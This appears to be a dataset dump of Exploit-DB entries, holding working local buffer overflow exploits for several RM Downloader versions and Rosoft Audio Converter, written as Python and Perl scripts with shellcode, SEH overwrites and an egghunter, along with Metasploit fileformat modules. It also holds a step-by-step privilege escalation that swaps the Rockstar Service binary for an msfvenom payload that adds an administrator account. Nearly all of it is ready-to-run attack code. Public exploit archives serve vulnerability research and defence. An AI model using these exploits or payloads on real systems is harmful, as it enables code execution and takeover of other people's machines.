deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48628
Description: RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)
Type: local
Platform: windows
Date: 2020-07-01
Author: Paras Bhatia

Exploit:
# Exploit Title: RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC) 
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-06-29
# Vulnerable Software: RM Downloader
# Software Link Download: https://github.com/x00x00x00x00/RMDownloader_2.50.60/raw/master/RMDownloader.exe
# Version: 2.50.60 2006.06.23
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  

# Proof of Concept:

#   1.- Run the python script, it will create a new file "RM_LCE.txt"
#   2.- Copy the content of the new file 'RM_LCE.txt' to clipboard
#   3.- Turn off DEP for RMDownloader.exe
#   4.- Open 'RMDownloader.exe'
#   5.- Go to 'Load' tab
#   6.- Paste clipboard in 'Load' parameter
#   7.- Click on button 'OK'
#   8.- Two messageboxes will pop up, click OK
#   9.- Calc.exe runs.

#################################################################################################################################################

#Python "RM_LCE.py" Code:

f= open("RM_LCE.txt", "w")

junk="\x41" * 336


egg = "w00tw00t"

# msfvenom -p windows/exec cmd=calc.exe --platform windows -f py  -b "\x0a\x0d\x00"

buf =  ""
buf += "\xd9\xeb\xb8\xfa\x38\xad\x4f\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x31\x83\xc2\x04\x31\x42\x14\x03\x42\xee\xda"
buf += "\x58\xb3\xe6\x99\xa3\x4c\xf6\xfd\x2a\xa9\xc7\x3d\x48"
buf += "\xb9\x77\x8e\x1a\xef\x7b\x65\x4e\x04\x08\x0b\x47\x2b"
buf += "\xb9\xa6\xb1\x02\x3a\x9a\x82\x05\xb8\xe1\xd6\xe5\x81"
buf += "\x29\x2b\xe7\xc6\x54\xc6\xb5\x9f\x13\x75\x2a\x94\x6e"
buf += "\x46\xc1\xe6\x7f\xce\x36\xbe\x7e\xff\xe8\xb5\xd8\xdf"
buf += "\x0b\x1a\x51\x56\x14\x7f\x5c\x20\xaf\x4b\x2a\xb3\x79"
buf += "\x82\xd3\x18\x44\x2b\x26\x60\x80\x8b\xd9\x17\xf8\xe8"
buf += "\x64\x20\x3f\x93\xb2\xa5\xa4\x33\x30\x1d\x01\xc2\x95"
buf += "\xf8\xc2\xc8\x52\x8e\x8d\xcc\x65\x43\xa6\xe8\xee\x62"
buf += "\x69\x79\xb4\x40\xad\x22\x6e\xe8\xf4\x8e\xc1\x15\xe6"
buf += "\x71\xbd\xb3\x6c\x9f\xaa\xc9\x2e\xf5\x2d\x5f\x55\xbb"
buf += "\x2e\x5f\x56\xeb\x46\x6e\xdd\x64\x10\x6f\x34\xc1\xee"
buf += "\x25\x15\x63\x67\xe0\xcf\x36\xea\x13\x3a\x74\x13\x90"
buf += "\xcf\x04\xe0\x88\xa5\x01\xac\x0e\x55\x7b\xbd\xfa\x59"
buf += "\x28\xbe\x2e\x3a\xaf\x2c\xb2\x93\x4a\xd5\x51\xec"


nseh ="\xeb\x06\x90\x90"

#1002C531   5B               POP EBX
#1002C532   58               POP EAX
#1002C533   C3               RETN
#C:\Program Files\RM Downloader\RDutility02.dll


seh="\x31\xc5\x02\x10"

nops="\x90" * 20

egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter += "\x77\x30\x30\x74" # this is the marker/tag: w00t
egghunter += "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"



payload = junk + egg + buf + nseh + seh + nops + egghunter 

f.write(payload)
f.close
Exploit-DB #36502
Description: RM Downloader 2.7.5.400 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2015-03-26
Author: TUNISIAN CYBER

Exploit:
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=[PII_REDACTED]_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Related Vulnerability/ies:
#    http://www.exploit-db.com/exploits/8628/
#POC:
#IMG1:
#http://i.imgur.com/87sXIj8.png
from struct import pack
file="crack.ram"
junk="\x41"*35032
eip=pack('<I',0x7C9D30D7)
junk2="\x44"*4
#Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore
#http://www.exploit-db.com/exploits/28996/
shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
         "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
          "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
           "\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile = open (file, "w")
writeFile.write(junk+eip+junk2+shellcode)
writeFile.close()
Exploit-DB #36909
Description: RM Downloader 2.7.5.400 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2015-05-04
Author: TUNISIAN CYBER

Exploit:
###
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow (MSF)
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=[PII_REDACTED]_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe
#[+] Twitter: @TCYB3R
##
 
##
# $Id: rmdownloader_bof.rb  2015-04-01 03:03  TUNISIAN CYBER $
##
 
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  
   def initialize(info = {})
    super(update_info(info,
     'Name' => 'Free MP3 CD Ripper 1.1 Local Buffer Overflow Exploit',
         'Description' => %q{
          This module exploits a stack buffer overflow in RM Downloader v2.7.5.400
          creating a specially crafted .ram file, an attacker may be able 
      to execute arbitrary code.
        },
     'License' => MSF_LICENSE,
     'Author' => 
           [
            'TUNISIAN CYBER', # Original
            'TUNISIAN CYBER' # MSF Module
            ],
     'Version' => 'Version 2.7.5.400',
     'References' =>
        [
         [ 'URL', 'https://www.exploit-db.com/exploits/36502/' ],
        ],
    'DefaultOptions' =>
       {
        'EXITFUNC' => 'process',
       },
     'Payload' =>
      {
        'Space' => 1024,
        'BadChars' => "\x00\x0a\x0d",
        'StackAdjustment' => -3500,
      },
     'Platform' => 'win',
     'Targets' =>
       [
        [ 'Windows XP-SP3 (EN)', { 'Ret' => 0x7C9D30D7} ]
       ],
      'Privileged' => false,
      'DefaultTarget' => 0))
  
      register_options(
       [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.ram']),
       ], self.class)
    end
  
    def exploit
 
    sploit = rand_text_alphanumeric(35032) # Buffer Junk
      sploit << [target.ret].pack('V')
      sploit << make_nops(4)
      sploit << payload.encoded
 
      tc = sploit
      print_status("Creating '#{datastore['FILENAME']}' file ...")
      file_create(tc)
 
    end
  
end
Exploit-DB #8410
Description: RM Downloader 3.0.0.9 - '.m3u' Universal Stack Overflow
Type: local
Platform: windows
Date: 2009-04-13
Author: Stack

Exploit:
#!/usr/bin/perl
# RM Downloader Version 3.0.0.9 .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
my $Header = "#EXTM3U\n";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $ex="http://"."A" x 26117;
my $ret="\x17\x48\xF8\x01"; # Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>
      # "\x5D\x38\x82\x7C";
my $nop="\x90" x 20; 
open(MYFILE,'>>RM-Downloader.m3u');
print MYFILE $Header.$ex.$ret.$nop.$shellcode;
close(MYFILE);

# milw0rm.com [2009-04-13]
Exploit-DB #8628
Description: RM Downloader 3.0.0.9 - '.RAM' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-05-07
Author: G4N0K

Exploit:
#!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
	RM Downloader 3.0.0.9 (.RAM) Local Buffer Overflow Exploit
==============================================================================
	[Â»] Script:.............[ RM Downloader 3.0.0.9 ].......................
	[Â»] Website:............[ http://mini-stream.net/ ].....................
	[Â»] Today:..............[ 07052009 ]....................................
	[Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

	[x] tested on "Windows XP SP2"... [:-)
	
=cut

my $MSD = "rtsp://"."G" x 26117;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

  open(RAM,'>>gnk.ram');
  print RAM $MSD.$RA.$SMN.$Shcode;
  close(RAM);

# milw0rm.com [2009-05-07]
Exploit-DB #11953
Description: RM Downloader 3.0.2.1 - '.asx' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-03-30
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Title: RM Downloader 3.0.2.1 (.asx) Local Buffer Overflow (SEH)
# Date: 03-29-2010
# Author: b0telh0
# Link: http://www.mini-stream.net/downloads/RMDownloader.exe
# Tested on: Windows XP SP3


#
# windows/exec - 227 bytes
# EXITFUNC=process, CMD=calc.exe
#

shellcode = ("\x29\xc9\xb1\x33\xda\xd3\xbd\x07\x4a\x9e\x37\xd9\x74\x24\xf4"
        "\x5b\x83\xc3\x04\x31\x6b\x0f\x03\x6c\x45\x7c\xc2\x8e\xb1\x09"
        "\x2d\x6e\x42\x6a\xa7\x8b\x73\xb8\xd3\xd8\x26\x0c\x97\x8c\xca"
        "\xe7\xf5\x24\x58\x85\xd1\x4b\xe9\x20\x04\x62\xea\x84\x88\x28"
        "\x28\x86\x74\x32\x7d\x68\x44\xfd\x70\x69\x81\xe3\x7b\x3b\x5a"
        "\x68\x29\xac\xef\x2c\xf2\xcd\x3f\x3b\x4a\xb6\x3a\xfb\x3f\x0c"
        "\x44\x2b\xef\x1b\x0e\xd3\x9b\x44\xaf\xe2\x48\x97\x93\xad\xe5"
        "\x6c\x67\x2c\x2c\xbd\x88\x1f\x10\x12\xb7\x90\x9d\x6a\xff\x16"
        "\x7e\x19\x0b\x65\x03\x1a\xc8\x14\xdf\xaf\xcd\xbe\x94\x08\x36"
        "\x3f\x78\xce\xbd\x33\x35\x84\x9a\x57\xc8\x49\x91\x63\x41\x6c"
        "\x76\xe2\x11\x4b\x52\xaf\xc2\xf2\xc3\x15\xa4\x0b\x13\xf1\x19"
        "\xae\x5f\x13\x4d\xc8\x3d\x79\x90\x58\x38\xc4\x92\x62\x43\x66"
        "\xfb\x53\xc8\xe9\x7c\x6c\x1b\x4e\x72\x26\x06\xe6\x1b\xef\xd2"
        "\xbb\x41\x10\x09\xff\x7f\x93\xb8\x7f\x84\x8b\xc8\x7a\xc0\x0b"
        "\x20\xf6\x59\xfe\x46\xa5\x5a\x2b\x25\x28\xc9\xb7\x84\xcf\x69"
        "\x5d\xd9");

junk = "\x41" * 35072
nseh = "\xeb\x1e\x90\x90"
seh  = "\x1F\xEA\x02\x10"             # p/p/r at 0x1002EA1F [rdfilter03.dll]
nops = "\x90" * 24
junk2 = "\x41" * 4669

try:
     file = open('b0t.asx','w');
     file.write(junk+nseh+seh+nops+shellcode+junk2);
     file.close();
     print "\n[+] b0t.asx created."
     print "[+] Open RmDownloader.exe..."
     print "[+] and load b0t.asx.\n"
except:
     print "\n[-] Error.. Can't write file to system.\n"
Exploit-DB #10423
Description: RM Downloader 3.0.2.1 - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-12-14
Author: Vinod Sharma

Exploit:
#!/usr/bin/perl
# *********************************************************
# *  RM Downloader 3.0.2.1(.M3U File) Stack Overflow exploit   *
# *********************************************************
#
# Author: Vinod Sharma
# Download :  http://www.rm-to-mp3.net/downloads/RMDownloader.exe
# Tested : Windows XP SP2 (En)
# Thanks to exploit-db,packetstormsecurity and all security folks
# Originally published at :http://securitygyan.com/2009/12/14/rm-downloader-m3u-exploit/
#Vulnerability discovered by CYBER-ZONE(http://www.exploit-db.com/exploits/8404)
#::::::NOTE: This exploit is only for educational purpose. If you use it for any malicious activity then author will not bear any:::
#::::responsibility.
my $Header = "#EXTM3U\n";
my $eip= pack('V', 0x01be8b59);  # jmp esp from RDcodec02.dll
my $nop= "\x90" x 256;
my $nop2="\x90" x 8;
my $nop3="\x90" x 100;

####Calc.exe######
$shellcode = $shellcode.
"\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4".
"\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff".
"\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8".
"\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69".
"\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3".
"\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76".
"\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07".
"\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57".
"\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d".
"\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62".
"\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c".
"\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27".
"\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0".
"\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed".
"\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66".
"\xf3\x07";


$ex="http://F".$nop.$eip.$nop2.$shellcode."A" x 26280 ;

open(MYFILE,'>>exploit.m3u');

print MYFILE $Header.$ex;

close(MYFILE);
Exploit-DB #14081
Description: RM Downloader 3.1.3 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-06-27
Author: Madjix

Exploit:
#!/usr/bin/perl
#RM Downloader 3.1.3 Local stack BOF
#Download : http://www.mini-stream.net/downloads/RMDownloader.exe
#By Madjix Dz8[at]hotmail[dot]com
my $hd = "#EXTM3U\n" ;
my $jnk="\x41" x 43488 ;
my $nseh="\xeb\x06\x90\x90" ;
my $seh="\x16\xBE\x87\x7C" ;
my $nops = "\x90" x 24 ;
my $shellcode= "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
my $pd= "\x90" x 20000 ;

open(MYFILE,'>>MadjiX.m3u');
print MYFILE $hd.$jnk.$nseh.$seh.$nops.$shellcode.$pd;
close(MYFILE);
Exploit-DB #18611
Description: RM Downloader 3.1.3.3.2010.06.26 - '.m3u' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-03-16
Author: KaHPeSeSe

Exploit:
##
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RM Downloader Version 3.1.3.3.2010.06.26 (.m3u) Buffer Overflow (MSF)',
			'Description'    => %q{
					RM Downloader Version 3.1.3.3.2010.06.26 has buffer overflow vuln. we will create file.
				File type be m3u. File name is exp.m3u if we open exp.m3u whit RM Downloader Version 3.1.3.3.2010.06.26, 
				we will see this "run calc.exe"
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'KaHPeSeSe', 	# Found bug and wrote exploit
				],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x09\x0a",
					'StackAdjustment' => -3500
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'PERFECT XP PC1 / SP3',
                        {
                            'Ret' => 0x7C86467B, # findjmp KERNEL32.DLL ESP 0x7C86467B jmp ESP
                            'Offset' => 17417
                        }
                    ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'March 14 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'exp.m3u']),
			], self.class)

	end

	def exploit

		exp = "#EXTM3U\n"
		exp << "http://"
		exp << rand_text_alpha_upper(target['Offset'])
		exp << [target.ret].pack('V')
		exp << "\x90" * 8
		exp << payload.encoded
		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(exp)

	end

end
Exploit-DB #49739
Description: Rockstar Service - Insecure File Permissions
Type: local
Platform: windows
Date: 2021-04-05
Author: George Tsimpidas

Exploit:
# Exploit Title: Rockstar Service - Insecure File Permissions
# Date: 2020-04-02
# Exploit Author: George Tsimpidas
# Software Link : https://socialclub.rockstargames.com/rockstar-games-launcher
# Version Patch: 1.0.37.349
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362

Vulnerability Description:

RockstarService.exe  suffers from an elevation of privileges vulnerability which can be used by an "Authenticated User" to modify the existing executable file of the service with a binary of his choice. The vulnerability exist due to weak set of permissions being granted to the "Authenticated Users Group" which grants the (M) Flag aka "Modify Privilege"

#PoC

 D:\Launcher> icacls .\Launcher.exe

.\Launcher.exe BUILTIN\Administrators:(I)(F)
               NT AUTHORITY\SYSTEM:(I)(F)
               NT AUTHORITY\Authenticated Users:(I)(M)
               BUILTIN\Users:(I)(RX)

#1. Create low privileged user & Login  to that user

C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the RockstarService.exe to a new name

D:\Launcher> move RockstarService.exe RockstarService.exe.bk
1 file(s) moved.

#3. Create malicious binary on kali linux with MSF

msfvenom -f exe -p windows/exec CMD="net user placebo Password123! /add && net localgroup Administrators placebo /add" -o RockstarService.exe

#4. Transfer created 'RockstarService.exe' to the Windows Host

#5. Move the created 'RockstarService.exe' binary to the 'D:\Launcher' to replace the old one

#6. Now start the Service

Command : net start 'Rockstar Service'

Now check out that the user has been registered to the system and added to the local group of Administrators

C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None
Exploit-DB #13895
Description: Rosoft Audio Converter 4.4.4 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-06-16
Author: blake

Exploit:
# Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow
# Date: June 14, 2010
# Author: Blake
# Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx
# Version: 4.4.4
# Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7)
# Instructions: create malicious file, open in audio converter, select save

print "\n============================"
print "Rosoft Audio Converter 4.4.4"
print "      Written by Blake      "
print "   Tested on Windows XP SP3 "
print "============================\n"

# calc.exe
sc =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")

buffer = "\x41" * (4083 - len(sc))
nops = "\x90" * 20
near_jmp = "\xe8\xf4\xef\xff\xff"	# jmp back	
next_seh = "\xeb\xf9\x90\x90"	
seh = "\xe7\xb3\x49\x00"	#Found pop eax -  pop ebx -  ret at 0x0049B3E7 [rosoftaudioconverterfree.exe]
junk = "\xCC" * 25000

print "[+] Creating malicious .m3u file"
try:
	file = open("blake.m3u","w")
	file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk)
	file.close()
	print "[+] File created"
except:
	print "[x] Could not create file"

raw_input("\nPress any key to exit...\n")